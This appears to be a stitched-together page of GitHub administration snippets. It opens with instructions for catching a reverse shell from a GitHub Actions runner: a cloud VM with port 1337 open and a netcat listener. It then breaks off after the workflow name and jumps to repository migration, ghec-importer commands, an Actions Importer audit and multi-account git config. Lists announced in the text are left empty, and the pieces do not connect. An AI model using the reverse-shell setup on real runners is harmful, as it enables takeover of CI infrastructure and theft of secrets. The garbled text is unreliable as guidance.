Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:
nc -nvlp 1337
Then run the following workflow in GH actions:
name: Reverse shell
Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:
Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:
The following example will remove the teams from the migration_archive.tar.gz file.
export GHEC_IMPORTER_ADMIN_TOKEN="xxxx"
ghec-importer prepare-archive -r teams migration_archive.tar.gz
The following example will import the migration_archive.tar.gz into the robandpdx-migaration5 org and enable actions on the repo. If there is a repo name conflict, if will be resolved by adding the source org name to the repo name as a prefix.
Start by using GitHub Actions Importer (GAI) Follow the getting started instructions to install and configure GAI.
gh actions-importer audit circle-ci --output-dir audit
Assuming you already have an ssh key pair for each account and you are using that ssh private key to sign commits, you can manage the different accounts by configuring git to use a different configuration profile based on the directory under which you are cloing the repository.
For each key pair (account) you will create a config file that will apply to all the projects under that account's work directory.
/Users/robandpdx/
|__.gitconfig
|__.gitconfig.work
|__.gitconfig.personal
|__github-work/ # <--- This is where you will clone all your work repositories